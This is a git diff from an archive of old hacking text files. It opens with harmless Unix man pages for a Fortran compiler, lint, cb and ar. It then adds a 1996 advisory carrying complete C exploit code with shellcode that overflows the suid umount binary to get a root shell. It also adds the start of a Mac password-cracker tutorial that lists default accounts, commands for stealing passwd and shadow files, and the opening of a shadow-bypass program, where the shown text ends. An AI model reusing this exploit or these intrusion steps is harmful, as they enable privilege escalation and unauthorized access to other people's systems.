nolimitfregs. -q xpc,limitfregs + assures code compatibility with APC + and DPC systems, selecting the + libm_apc.a math library rather than + libm_xpc.a and suppressing the usage + of some double-precision floating + point registers that are available to + XPC systems; only 4 double-precision + float registers are used. + -q xpc,nolimitfregs permits all + floating point registers to be used, + and uses the libm_xpc.a math library. + + host_is_target + The host_is_target qualifier optimizes + code for the system performing the + compilation. No attempt is made to + preserve portability. This is default + behavior. + + + + + + + + portable + The portable qualifier generates code + that is portable across all Multimax + APC, DPC, and XPC systems. A + universal math library, libm_apc.a, is + used. Only optimizations that are + explicitly portable are used. + Produced code is portable to APC and + DPC systems even if compiled on an XPC + system, since only 4 double-precision + float registers are used. + + align_text, noalign_text + Enable or disable alignment of text segments + on boundaries to optimize burst mode on + Multimax systems having APC s. The default + is noalign_text, unless optimize=time is + enabled. + + asmdir=prefix + Use the assembler located in the prefixas + file instead of the default assembler, + /bin/as. + + compiler_registers, nocompiler_registers + Enable or disable compiler allocation of + local variables to registers beyond those + specified by register storage class + specifications. The default is + compiler_registers. nocompiler_registers + should only be used when code is written to + depend on the existence of non-register + class variables in memory. + + crt0dir=prefix + Use the prefixcrt0.o startup file instead of + the default startup file, /lib/crt0.o. + + d_lines, nod_lines + Enable or disable the recognition of any + comment line, beginning with a D, as a code + line. The default is nod_lines. + + + + + + + + + + + direct_code, nodirect_code + Enable or disable the direct generation of + code by the compiler. When enabled, the + compiler directly generates object code, + bypassing the intermediate steps of + producing assembly code and assembling it to + produce the object code. The nodirect_code + qualifier should only be needed if the + source file contains asm statements. + direct_code is enabled by default. + nodirect_code is enabled if the -R option is + specified. + + extensions[=arg], noextensions + Enable or disable the specification of + Fortran extensions. The default qualifier + is noextensions. The available arguments + are: + + berkeley_f77 Supports the standard UNIX + f77. This is equivalent to + noextensions. + + extended_f77 Supports an extension to f77 + that allows Fortran programs + written for VAX/VMS to be + compiled on Multimax systems. + This is the default when the + -q extensions qualifier is + given without an argument. + + parallel Recognizes the extensions + that support parallel + programming, including shared + memory declarations and + spinlocks in-line. This does + not change the value of an + earlier specified + berkeley_f77 or extended_f77 + selection. + + lddir=prefix + Use the link editor in prefixld instead of + the default, /bin/ld. + + + + + + + + + long_case, nolong_case + Enable or disable the generation of case + statements using a full four-byte + displacement. nolong_case is the default, + allowing case statements to span 4 + Kilobytes. long_case allows case statements + to span 2 Megabytes. This should only be + needed in unusual circumstances. + + long_jump, nolong_jump + Enable or disable the generation of jumps + with four-byte displacements when the + assembler is unable to resolve them in one + byte. The default, nolong_jump, allows + branches to span up to _8 Kilobytes. + long_jump allows branches to span up to _16 + Megabytes. Direct code generation selects + one-, two-, or four-byte displacement as + appropriate, regardless of the setting of + this option. + + loops, noloops + Enable or disable loop optimizations. These + optimizations include loop-invariant + hoisting and strength reduction. The + default is noloops. + + optimize[=arg], nooptimize + Enable or disable different levels of + optimization. The default is optimize=none. + The available arguments are: + + none Enable no special optimizations. + none is equivalent to nooptimize. + + space Enable optimizations which may + take longer to generate but which + should produce a program that + requires minimal space. This + argument also enables + preload_constants and tail_merge. + + standard Enable a set of optimizations + that do not take an excessive + amount of time to generate and + which do not favor space over + time (or vice versa). + + + + + + time Enable optimizations which may + take longer to recognize but + which should produce a program + that requires minimal execution + time. This argument also enables + align_text, loops, and + novolatile. + + preload_constants, nopreload_constants + Enable or disable the loading of constant + values and addresses that are frequently + referenced in the source code at the start + of a program. This option saves space; it + may save execution time if the constants and + addresses are also referenced frequently + during execution. no_preload_constants is + the default; preload_constants is enabled by + the -O option. + + single_lib, nosingle_lib + Enable or disable the use of single + precision math routines for certain built-in + functions when the functions are called with + single precision arguments. The single + precision versions offer significantly + increased speed with almost no reduction in + accuracy. single_lib is enabled by default. + + tail_merge, notail_merge + Enable or disable branch-tail merging, an + optimization that reduces code size by + sharing common portions of then and else + clauses or of case switches. tail_merge is + disabled by default. + + volatile, novolatile + Enable or disable additional optimization on + the assumption that memory never changes + except as the result of explicit store + operations. The default is volatile, unless + optimize=time is selected. novolatile, + which enables the optimizations, is + available only when optimize=time is + selected. novolatile should only be used + when it is clear that no variables can be + modified asynchronously. Asynchronous + modification could happen, for example, with + signals, device drivers, or parallel + processes accessing shared memory. + + + +RESTRICTIONS + The -q flag and its qualifier options replace the following + options, which are no longer supported: + + -A Replaced by -q nodirect_code. + + -G Replaced by -q direct_code. + + -H Replaced by -q notail_merge. + + -J Replaced by -q long_jump. + + -T Replaced by -q loops. + + -V Replaced by -q novolatile. + +FILES + ./fort[pid].? temporary fortran process files + a.out loaded output file + file.[fFresc] input file + file.o object file + gmon.[pid] file produced for analysis by monitor(3) + mon.out file produced for analysis by prof(1) + /lib/cpp C preprocessor + /lib/libc.a C library + /lib/cpp C preprocessor + /lib/libc.a C library + /usr/lib/fcom Fortran compiler + /usr/lib/libFBERK.a combined libF77.a, libI77.a, and + libU77.a library + /usr/lib/libFBERK_p.a profiling combined Berkeley function + library + /usr/lib/libFORT.a combined libFBERK.a and libX77.a + library + /usr/lib/libFORT_p.a profiling combined extended Berkeley + function + /usr/lib/libm_apc.a standard NS32081 code math library + /usr/lib/libm_fpa.a math library for APC02 systems with + Cone processor + /usr/lib/libm_xpc.a XPC system math library (8 float- + register, NS32381) + +SEE ALSO + as(1), cc(1), ld(1), m4(1), prof(1), sdb(1), cdb(1X), + efl(1F), fpr(1F) fsplit(1F) ratfor(1F), struct(1F), + intro(3F) epf(9F), + Fortran-77 Manual. + + American National Standard Programming Language Fortran, + ANSI X3.9-1978. +APPENDIX E - lint + +$man lint + +NAME + lint - a C program checker + +SYNOPSIS + lint [ option ] ... file ... + +DESCRIPTION + lint attempts to detect features of the C program files that + are likely to be bugs, non-portable, or wasteful. It also + checks type usage more strictly than the compilers. Among + the things that are currently detected are unreachable + statements, loops not entered at the top, automatic + variables declared and not used, and logical expressions + whose value is constant. Moreover, the usage of functions + is checked to find functions that return values in some + places and not in others, functions called with varying + numbers or types of arguments, and functions whose values + are not used or whose values are used but none returned. + + Arguments whose names end with .c are taken to be C source + files. Arguments whose names end with .ln are taken to be + the result of an earlier invocation of lint with either the + -c or the -o option used. The .ln files are analogous to .o + (object) files that are produced by the cc(1) command when + given a .c file as input. Files with other suffixes are + warned about and ignored. + + lint will take all the .c, .ln, and llib-lx.ln (specified by + -lx) files and process them in their command line order. By + default, lint appends the standard C lint library (llib- + lc.ln) to the end of the list of files. However, if the -p + option is used, the portable C lint library (llib-port.ln) + is appended instead. When the -c option is not used, the + second pass of lint checks this list of files for mutual + compatibility. When the -c option is used, the .ln and the + llib-lx.ln files are ignored. + + Any number of lint options may be used, in any order, + intermixed with file-name arguments. The following options + are used to suppress certain kinds of complaints: + + -a Suppress complaints about assignments of long values + to variables that are not long. + + -b Suppress complaints about break statements that + cannot be reached. (Programs produced by lex(1) or + yacc(1) will often result in many such complaints.) + + -h Do not apply heuristic tests that attempt to intuit + bugs, improve style, and reduce waste. + + -u Suppress complaints about functions and external + variables used and not defined, or defined and not + used. (This option is suitable for running lint on + a subset of files of a larger program). + + -v Suppress complaints about unused arguments in + functions. + + -x Do not report variables referred to by external + declarations but never used. + + The following arguments alter lint's behavior: + + -lx Include additional lint library llib-lx.ln. For + example, a lint version of the Math Library llib-lm.ln + can be included by inserting -lm on the command line. + This argument does not suppress the default use of + llib-lc.ln. These lint libraries must be in the + assumed directory. This option can be used to + reference local lint libraries and is useful in the + development of multi-file projects. + + -n Do not check compatibility against either the standard + or the portable lint library. + + -p Attempt to check portability to other dialects (IBM and + GCOS) of C. Along with stricter checking, this option + causes all non-external names to be truncated to eight + characters and all external names to be truncated to + six characters and one case. + + -c Cause lint to produce a .ln file for every .c file on + the command line. These .ln files are the product of + lint's first pass only, and are not checked for inter- + function compatibility. + + -o lib + Cause lint to create a lint library with the name + llib-llib.ln. The -c option nullifies any use of the + -o option. The lint library produced is the input that + is given to lint's second pass. The -o option simply + causes this file to be saved in the named lint library. + To produce a llib-llib.ln without extraneous messages, + use of the -x option is suggested. The -v option is + useful if the source file(s) for the lint library are + just external interfaces (for example, the way the file + llib-lc is written). These option settings are also + available through the use of "lint comments" (see + below). + + The -D, -U, and -I options of cc(1) and cpp(1) and the -g + and -O options of cc are also recognized as separate + arguments. The -g and -O options are ignored, but, by + recognizing these options, lint's behavior is closer to that + of the cc command. Other options are warned about and + ignored. The pre-processor symbol "lint" is defined to + allow certain questionable code to be altered or removed for + lint. Therefore, the symbol "lint" should be thought of as + a reserved word for all code that is planned to be checked + by lint. + + Certain conventional comments in the C source will change + the behavior of lint: + + /*NOTREACHED*/ + at appropriate points stops comments about unreachable + code. (This comment is typically placed just after + calls to functions like exit(2).) + + /*VARARGSn*/ + suppresses the usual checking for variable numbers of + arguments in the following function declaration. The + data types of the first n arguments are checked; a + missing n is taken to be 0. + + /*ARGSUSED*/ + turns on the -v option for the next function. + + /*LINTLIBRARY*/ + at the beginning of a file shuts off complaints about + unused functions and function arguments in this file. + This is equivalent to using the -v and -x options. + + lint produces its first output on a per-source-file basis. + Complaints regarding included files are collected and + printed after all source files have been processed. + Finally, if the -c option is not used, information gathered + from all input files is collected and checked for + consistency. At this point, if it is not clear whether a + complaint stems from a given source file or from one of its + included files, the source file name will be printed + followed by a question mark. + + + + + + + + + + The behavior of the -c and the -o options allows for + incremental use of lint on a set of C source files. + Generally, one invokes lint once for each source file with + the -c option. Each of these invocations produces a .ln + file which corresponds to the .c file, and prints all + messages that are about just that source file. After all + the source files have been separately run through lint, it + is invoked once more (without the -c option), listing all + the .ln files with the needed -lx options. This will print + all the inter-file inconsistencies. This scheme works well + with make(1); it allows make to be used to lint only the + source files that have been modified since the last time the + set of source files were linted. + +FILES + /usr/lib/lint[12] first and second passes + /usr/lib/llib-lc.ln declarations for C Library + functions (binary format; source is + in /usr/lib/llib-lc) + /usr/lib/llib-port.ln declarations for portable functions + (binary format; source is in + /usr/lib/llib-port) + /usr/lib/llib-lm.ln declarations for Math Library + functions (binary format; source is + in /usr/lib/llib-lm.ln) + /usr/tmp/*lint* temporaries + +SEE ALSO + cc(1), cpp(1), lex(1), make(1), yacc(1), tmpnam(3S). + +BUGS + exit(2), longjmp(3C), and other functions that do not return + are not understood; this causes various lies. +APPENDIX F - cb + +$man cb + +NAME + cb - C program beautifier + +SYNOPSIS + cb [ -s ] [ -j ] [ -l leng ] [ file ... ] + +DESCRIPTION + The cb comand reads C programs either from its arguments or + from the standard input, and writes them on the standard + output with spacing and indentation that display the + structure of the code. Under default options, cb preserves + all user new-lines. + + cb accepts the following options. + + -s Canonicalizes the code to the style of Kernighan + and Ritchie in The C Programming Language. + + -j Causes split lines to be put back together. + + -l leng Causes cb to split lines that are longer than + leng. + +SEE ALSO + cc(1). + The C Programming Language. Prentice-Hall, 1978. + +BUGS + Punctuation that is hidden in preprocessor statements will + cause indentation errors. +APPENDIX G - ar + +$man ar + +NAME + ar - archive and library maintainer for portable archives + +SYNOPSIS + ar key [ posname ] afile [ name ] ... + +DESCRIPTION + The ar command maintains groups of files combined into a + single archive file. Its main use is to create and update + library files as used by the link editor. It can be used, + though, for any similar purpose. The magic string and the + file headers used by ar consist of printable ASCII + characters. If an archive is composed of printable files, + the entire archive is printable. + + When ar creates an archive, it creates headers in a format + that is portable across all machines. The portable archive + format and structure is described in detail in ar(4). The + archive symbol table (described in ar(4)) is used by the + link editor (ld(1)) to effect multiple passes over libraries + of object files in an efficient manner. An archive symbol + table is only created and maintained by ar when there is at + least one object file in the archive. The archive symbol + table is in a specially named file which is always the first + file in the archive. This file is never mentioned or + accessible to the user. Whenever the ar command is used to + create or update the contents of such an archive, the symbol + table is rebuilt. The s option described below will force + the symbol table to be rebuilt. The symbol table holds a + maximum of 20,000 symbols. + + Unlike command options, the command key is a required part + of ar's command line. The key (which may begin with a -) is + formed with one of the following letters: drqtpmx. + Arguments to the key, alternatively, are made with one of + more of the following set: vuaibcls. posname is an archive + member name used as a reference point in positioning other + files in the archive. afile is the archive file. The names + are constituent files in the archive file. The meanings of + the key characters are as follows: + + d Delete the named files from the archive file. + + + + + + + r Replace the named files in the archive file. If the + optional character u is used with r, then only those + files with dates of modification later than the archive + files are replaced. If an optional positioning + character from the set aib is used, then the posname + argument must be present and specifies that new files + are to be placed after (a) or before (b or i) posname. + Otherwise new files are placed at the end. + + q Quickly append the named files to the end of the + archive file. Optional positioning characters are + invalid. The command does not check whether the added + members are already in the archive. This option is + useful to avoid quadratic behavior when creating a + large archive piece-by-piece. Unchecked, the file may + grow exponentially up to the second degree. + + t Print a table of contents of the archive file. If no + names are given, all files in the archive are tabled. + If names are given, only those files are tabled. + + p Print the named files in the archive. + + m Move the named files to the end of the archive. If a + positioning character is present, then the posname + argument must be present and, as in r, specifies where + the files are to be moved. + + x Extract the named files. If no names are given, all + files in the archive are extracted. In neither case + does x alter the archive file. + + The meanings of the key arguments are as follows: + + v Give a verbose file-by-file description of the making + of a new archive file from the old archive and the + constituent files. When used with t, give a long + listing of all information about the files. When used + with x, precede each file with a name. + + c Suppress the message that is produced by default when + afile is created. + + l Place temporary files in the local (current working) + directory, rather than in the default temporary + directory, /tmp. + + s Force the regeneration of the archive symbol table even + if ar is not invoked with a command which will modify + the archive contents. This command is useful to + restore the archive symbol table after the strip(1) + command has been used on the archive. +SEE ALSO + ld(1), lorder(1), strip(1), tmpnam(3S), a.out(4), ar(4). + "The Common Object File Format" in the UMAX V Programmer's + Guide. + + +BUGS + If the same file is mentioned twice in an argument list, it + may be put in the archive twice. + + + +NAME + ar - common archive file format + +DESCRIPTION + The archive command ar(1) combines several files into one. + Archives are used mainly as libraries to be searched by the + link editor ld(1). + + Each archive begins with the archive magic string: + + #define ARMAG "!\n" /* magic string */ + #define SARMAG 8 /* length of magic string */ + + Each archive that contains common object files (see + a.out(4)) includes an archive symbol table. The link editor + ld uses the symbol table to determine which archive members + Each archive that contains common object files (see + a.out(4)) includes an archive symbol table. The link editor + ld uses the symbol table to determine which archive members + must be loaded during the link edit process. The archive + symbol table (if it exists) is always the first file in the + archive (but is never listed) and is automatically created + and updated by ar. + + Following the archive magic string are the archive file + members. Each file member is preceded by a file member + header in the following format: + + #define ARFMAG "`\n" /* header trailer string */ + struct ar_hdr { /* file member header */ + char ar_date[12]; /* file member date */ + member name */ + char ar_gid[6]; /* file member group + identification */ + char ar_mode[8]; /* file member mode + (octal) */ + char ar_size[10]; /* file member size */ + char ar_fmag[2]; /* header trailer string */ + }; + + All information in the file member headers is in printable + ASCII . The numeric information in the headers is stored as + decimal numbers (except for ar_mode, which is in octal). + Thus, if the archive contains printable files, the archive + itself is printable. + + + + + + + The ar_name field is blank-padded and terminated with a + slash (/). The ar_date field is the modification date of + the file at the time it is inserted into the archive. + Common format archives can be moved from system to system as + long as the portable archive command ar is used. + + Each archive file member begins on an even byte boundary; a + newline is inserted between files if necessary. + Nevertheless the size given reflects the actual size of the + file exclusive of padding. + + Notice there is no provision for empty areas in an archive + file. + + If the archive symbol table exists, the first file in the + archive has a zero length name (that is, ar_name[0] == '/'). + The contents of this file are: + + The number of symbols. Length: 4 bytes. + + The array of offsets into the archive file. Length: 4 + bytes * "the number of symbols". + + The name string table. Length: ar_size - (4 bytes * + ("the number of symbols" + 1)). + + The string table contains exactly as many null-terminated + strings as there are elements in the offsets array. Each + offset from the array is associated with the corresponding + name from the string table (in order). The names in the + string table are all the defined global symbols found in the + common object files in the archive. Each offset is the + location of the archive header for the associated symbol. + +SEE ALSO + ar(1), ld(1), strip(1), ldahread(3X), ldfcn(4), a.out(4). + +CAVEATS + strip removes all archive symbol entries from the header. + The archive symbol entries must be restored with the ts + option of ar command before the archive can be used with the + link editor ld. + INDEX + + +.netrc file..............................................................................93 +.profile..................................................................................1 +HOME variable.............................................................................1 +Object programs..........................................................................10 + \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/linux_mo.asc b/textfiles.com/hacking/UNIX/linux_mo.asc new file mode 100644 index 00000000..85bbed73 --- /dev/null +++ b/textfiles.com/hacking/UNIX/linux_mo.asc @@ -0,0 +1,136 @@ + + Vulnrability in all known Linux distributions + + bloodmask (bloodmask@mymail.com) + Tue, 13 Aug 1996 07:04:25 +0200 + +Greetings, + +Well folks, After all the other security issues in Linux, I can't say +I'm really that shocked about this one, anyway, read the officail covin +release. After finding this one, we at covin decided it's time to put +and end to this issue, and we've begun scanning all of Linux's suid +binaries for other hints of these hidden "features", Results will be +released soon. The reason we are also releasing the exploit, an act +which may seem highly inresponsable, is due to previous expieriance that +making the exploit widely available, ussually speeds up the proccess of +patching up stupid vulnerabilities like these. + + +BTW, This is kind of out of topic, but I figure, there's nothing wrong +with killing two birds with one stone... Ijust noticed when installing +the latest version of the shadow suite, taken from sunsite, that it +"unpatched" the lib enviorment vulnerability on my system. I haven't had +the time to determine *HOW* it exposed my system, but it would be wise +to check up on this matter. + +--------------2F3F790C537451604439D8BF +Content-Type: text/plain; charset=us-ascii; name="cvnmount.exploit" +Content-Transfer-Encoding: 7bit +Content-Disposition: inline; filename="cvnmount.exploit" + +Covin Security Releases: +(mount bufferoverflow exploit v1.0) + +Tested operated systems: All current distributions of Linux + +Affect: Local users on systems affected can gain overflow mounts syntax +buffer and execute a shell by overwriting the stack. + +Affected binaries: +(/bin/mount and /bin/umount) + +Workaround: +On all current distributions of Linux remove suid bit of /bin/mount and +/bin/umount. +[chmod -s /bin/mount;chmod -s /bin/umount] + +Remarks: +For gods sake, how many more times are we gonna see this kind of problem? +It's been with Linux since it's very beggining, and it's so easy to +exploit. Similiar buffer overflow vulnerabilities have been found in +Linux distributions many times before, splitvt, dip, just to name a few +examples. + + +Any remarks, notes or other forms of feedback may be redirected to: +bloodmask@mymail.com +<------------------------------[ Cut here ]----------------------------------> + +/* Mount Exploit for Linux, Jul 30 1996 + +:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````""::::::::: +:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`:::::: +::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ :::::: +::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: +::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: +::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: +::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: +::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ :::::: +:::::::...........:::...........:::...........::.......:......:.......:::::: +:::::::::::::::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::::::: + +Discovered and Coded by Bloodmask & Vio +Covin Security 1996 +*/ + +#include +#include +#include +#include +#include + +#define PATH_MOUNT "/bin/umount" +#define BUFFER_SIZE 1024 +#define DEFAULT_OFFSET 50 + +u_long get_esp() +{ + __asm__("movl %esp, %eax"); + +} + +main(int argc, char **argv) +{ + u_char execshell[] = + "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" + "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" + "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; + + char *buff = NULL; + unsigned long *addr_ptr = NULL; + char *ptr = NULL; + + int i; + int ofs = DEFAULT_OFFSET; + + buff = malloc(4096); + if(!buff) + { + printf("can't allocate memory\n"); + exit(0); + } + ptr = buff; + + /* fill start of buffer with nops */ + + memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); + ptr += BUFFER_SIZE-strlen(execshell); + + /* stick asm code into the buffer */ + + for(i=0;i < strlen(execshell);i++) + *(ptr++) = execshell[i]; + + addr_ptr = (long *)ptr; + for(i=0;i < (8/4);i++) + *(addr_ptr++) = get_esp() + ofs; + ptr = (char *)addr_ptr; + *ptr = 0; + + (void)alarm((u_int)0); + printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); + execl(PATH_MOUNT, "mount", buff, NULL); +} + diff --git a/textfiles.com/hacking/UNIX/maccrac.txt b/textfiles.com/hacking/UNIX/maccrac.txt new file mode 100644 index 00000000..ed20fff1 --- /dev/null +++ b/textfiles.com/hacking/UNIX/maccrac.txt @@ -0,0 +1,555 @@ + Note: To be viewed with a Monospaced, 9-point Font (i.e. Monaco, Courier) + + ----------------------------------------------------------------------------- + #### #### ##### ##### ##### ###### ##### ##### DOCUMENTATION + ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### by oleBuzzard + ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### + ### ### ### ### ### ### ### ### ### ### ### ### %%% % %% + ### ### ### ####### ### ### ###### ####### ### % %% %% % % + ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### % % % % %%%% + ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### %% % % % % + ### ### ### ### ### ##### ##### ### ### ### ### ##### %%% % %%% % % + -[01-29-96]------------------------------------------------------------------ + + + INTRODUCTION + + FINALLY! A half-way decent UNIX 'passwd' cracker for the Macintosh. MACCRAC + is a very well ported version of one of the PC world's best 'passwd' + Crackers, CRACK V4.1. MACCRAC is great if you know how to use it, AND, more + importantly, if you know what UNIX password cracking is about in the first + place. Unfortunatley, the Mac underground have been SO long deprived of a + decent UNIX passwd cracker, alot of us are quite a bit behind in the + concept. That's what this tutorial is provided for. Hopefully after reading + it, not only will you have an understanding of how to use MACCRAC, but also + an increased understanding of what UNIX hacking is about in the first place. + + + PURPOSE OF CRACKING THE passwd + + Traditionally stated, the purpose of hacking a UNIX is: to "get to ROOT." + This refers to the ROOT account that every UNIX system has as part of it's + Operating system. The ROOT is a 'Trusted User' account, THE most powerful + account on a UNIX. If you can hack a ROOT you can utilize or exploit every + function a UNIX is capable of. But to get to "ROOT" you have to have + somewhere to start. For the purposes of this file, that somewhere is with + the 'passwd' file. + + + WHAT'S THE passwd? + + 'passwd' is the common name of the file in which user account information is + stored on a UNIX system. You might consider it a comprehensive users list. + The file contains the information for an accounts USERNAME, PASSWORD, USER + NUMBER, GROUP, GECOS, HOME DIRECTORY, and SHELL. A single entry of a passwd + file entry might look like this: + + + PASSWORD GROUP NUMBER HOME DIRECTORY + / / / + / / / +kbahadur:8d34jSjs73hsb:2162:15:Ken Bahadur:/usr/users/kbahadur:/usr/bin/ksh + \ \ \ \ + \ \ \ \ + USERNAME USER NUMBER GECOS INFORMATION SHELL + + + Now take a look at the PASSWORD in this entry: 8d34jSjs73hsb. This is, in + fact, NOT the password. It is, instead, the encrypted equivalent TO the + password. As part of the UNIX Account Registration process, when a User + designates a password, the UNIX takes the password, and (*this is + important*) uses the other information from the account to generate an + encrypted equivalent to the actual password. Why? Because as part of the + UNIX operating system, users MUST have access to the 'passwd' file to be + able to login. But if anyone who has an account can access the 'passwd' + file, they can also see what everyone else's Password is. So, UNIX's + security against this is to encrypt the password entry for each users + account so that noone else will know what anyone elses password is. + Unfortunaley/fortunatley (depending on who you are) the algorithm UNIX uses + to perform this encryption has been known to Hackers for sometime. And so if + you can see this: + + encrypted equivalent of pasword + / +kbahadur:8d34jSjs73hsb:2162:15:Ken Bahadur:/usr/users/kbahadur:/usr/bin/ksh + + ...you can use MACCRAC or any other of well over 50 'passwd' file crackers + to "guess" the password to this account entry. "Guess?" You say? "How does + that work?" It works like this: + + + GUESSING THE PASSWORD + + First a UNIX 'passwd' file cracker takes an encrypted password equivalent + (i.e.: 8d34jSjs73hsb) from an account entry in a UNIX 'passwd' file and + holds it to be used as a Reference. From whichever account entry the + encrypted equivalent was pulled, is the particular account the 'passwd' file + cracker will attempt to crack at that time. + + Next the 'passwd' file cracker goes through a process of "guessing". In this + process a single word is pulled from a Dictionary file (more on Dictionaries + later), encrypted utilizing the UNIX encryption algorithm (the one all us + hackers know about), and compared, checking to see if the derived encrypted + word matches the encrypted password equivalent used as a Reference. + + If the encrypted word matches the Reference, the 'passwd' file cracker + considers it an accurate guess, it then logs the information, and moves on + to the next account. If the two do not match, the 'passwd' file cracker + pulls another word from the Dictionary file and goes through the guessing + process again. If the 'passwd' file cracker goes through every word in a + Dictionary file and never matches the Reference, the entry is skipped, and + the cracker moves on to the next account. + + Now, as complicated as this may seem, it is all a relativley easy task for a + computer. As such, UNIX 'passwd' files are cracked on a regular basis. As a + result of this a number of security and other measures now (potentially) + exist to prevent unauthorized persons from accessing a UNIXes'passwd' file. + This is the topic of the next section. To this point you should understand + why UNIXes are hacked (to get to ROOT) and understand a little about + 'passwd' files and their role in UNIX hacking. Got it? + + + GOT IT, NOW WHAT? + + Ok, at this point you should be ready to try and find a UNIX 'passwd' file + to crack, right? Wrong. You still have a couple of minor, requisite tasks to + perform. First, (obviously) you'll need to find a UNIX to hack. In most + cases, you've already got one in mind, but just in case you don't we'll take + a look at a few. Also, once you've found a UNIX to hack, you'll need an + account on that UNIX. There's no way to steal the 'passwd' file from a UNIX + without first having an account on it (not true, you can always get a + 'passwd' file from someone else, but ignore this because I'm contradicting + myself). Once you've accomplished your requisites you can start trying to + steal the 'passwd' file. + + + Step 1. Finding a UNIX to Hack + ------------------------------ + Seeing as how you're reading this file you probably already have a UNIX in + mind. But, for the sake of clarity, heres what a common UNIX login screen + looks like: + +Ultrx v4.3 (rev .44) + + +login: + + Other UNIX machines are: System V, BSD, Xenix, and AIX. Look for these names + to be somewhere in the login screen. Knowing what type of UNIX you're using + will aid you in hacking it. + + Step 2. An account to start with + -------------------------------- + If you already have a UNIX account go to Step 3. If you do not already have + an account, you need to get one. Either: trade for one, trash for one, get a + legitimate one, or hack one out by hand. The first three options are + probably the easiest. You can trade for UNIX accounts on IRC channels #hack + or #phreak. You can trash for accounts in dumpsters and trashcans at most + Colleges or Universities. You can buy legitimate accounts from any one of + the rapidly increasing number of Internet Service Providers (they almost all + use UNIX). But, of coure, as well know you're a hacker, and the only hing + you wanna do is Hack an account. So be it. Here's a list of UNIX defaults. + *NOTE* These are NON-PASSWORDED accounts. They are common on System V, BSD, + Xenix, and AiX. "These defaults are included in standard setup on various + machines so the Sysadmin can log on for the first time." In some instances, + negligent Admins will forget to change or delete these accounts. If so, + you've got an account to start with. Remember, these are NON-PASSWORDED so + if they work you shouldn't be prompted for a password. If a password is + prompted for, try using the Account name for the password as well. + + [Stolen from CoTNo #01] + + root bin adm + makefsys sysadm sys + mountfsys rje sync + umountfsys tty nobody + checkfsys somebody setup + lp powerdown ingres + dptp general guest + daemon gsa user + trouble games help + nuucp public unix + uucp test admin + student standard pub + field demo batch + visitor listen network + uuhelp usenet sysinfo + cron console sysbin + who root2 startup + shutdown ncrm new + + Step 3. Stealing the passwd file + -------------------------------- + Once you've got your UNIX accpunt you can ATTEMPT to steal the 'passwd' file + from it. I emphasize ATTEMPT because the 'passwd' file can be protected in a + number of ways, or located in a number of different places. We will explore + some common methods of exploiting the 'passwd' file. + + -Common UNIX Hack- + + This is probably THE easiest and most common UNIX hack. ogin in to your + account and try typing this at the prompt: + + + prompt concatenate Note on: 'booya>' is the name of the account + / / prompts prompt on the machine I'm using in +booya> cat /etc/passwd these examples. The prompt on your + / \ machine will be different. Also + directory filename DON'T type 'booya>' with an entry. + + + 'cat' is short for concatenate, a command used for reading and displaying + files in standard output. '/etc' is the common directory for the password + file on older UNIXes. 'passwd' is the common password filename on UNIXes. If + you entered: cat /etc/passwd and got a listing that looks like this + (abbreviated): + +kbahadur:IS3fhZdWX3JGU:2162:15:Ken Bahadur:/usr/users/kbahadur:/usr/bin/ksh + \ + password intact + + ...then congrats! You've succesfully listed out (stolen) your first 'passwd' + file. *Buffer* the entire contents to a text file, save it and jump down to + the section: MACCRAC-ING. + + If you got a listing that looks like this: + + password tokenized + / +intruder:x:263:200:Jack Harmon:/usr/users/intruder:/bin/csh + + or: + +esvogt:PASSWORD HERE:2183:129:Novel,,,:/usr/users/advisor/esvogt:/usr/bin/ksh + \ + password removed + + or you got: + +cat: cannot open /etc/passwd + + Then the UNIX you are on is utilizing some other form of protection or may + be using a different 'passwd'-ing process. Keep reading. + + -AIX- + + On AIX systems, an UNIX variation, the 'passwd' file is in a different + place. On an AIX type: + +booya> cat /etc/security/passwd + + If this lists out a 'passwd' file with the (encrypted) password intact, then + you've succesfully listed out (stolen) your first 'passwd' file. *Buffer* + the entire contents to a text file and save it, and jump down to MACCRAC- + ING. If not, keep reading. + + -NIS/yp- + + Some UNIXes use a system called Yellow Pages [taken from #hack/alt.2600 FAQ + beta .013]: + + "NIS (Network Information System) is the current name for what was once + known as yp (Yellow Pages). The purpose for NIS is to allow many + machines on a network to share configuration information, including + password data. NIS IS NOT DESIGNED TO PROMOTE SYSTEM SECURITY. If + your system uses NIS you will have a very short /etc/passwd file that + includes a line that looks like this: + ++::0:0::: + + "To view the real password type this command:" + +booya> ypcat passwd + + If 'ypcat' lists a password file with the (encrypted) password still intact, + *buffer* the entire contents and go on to MACCRAC-ING, if not, keep reading. + + -Password Shadowing- + + Some systems use what is called password shadowing [again, taken from + #hack/alt.2600 FAQ beta .013]: + + "Password shadowing is a security system where the encrypted password + field of /etc/passwd is replaced with a special token and the + encrypted password is stored in a separate file which is not readable + by normal system users. + + "To defeat password shadowing on many (but not all) systems, write a + program that uses successive calls to getpwent() to obtain the + password file. + + "Example: + + -------------------------------------------------------------CUT HERE + #include + main() + { + struct passwd *p; 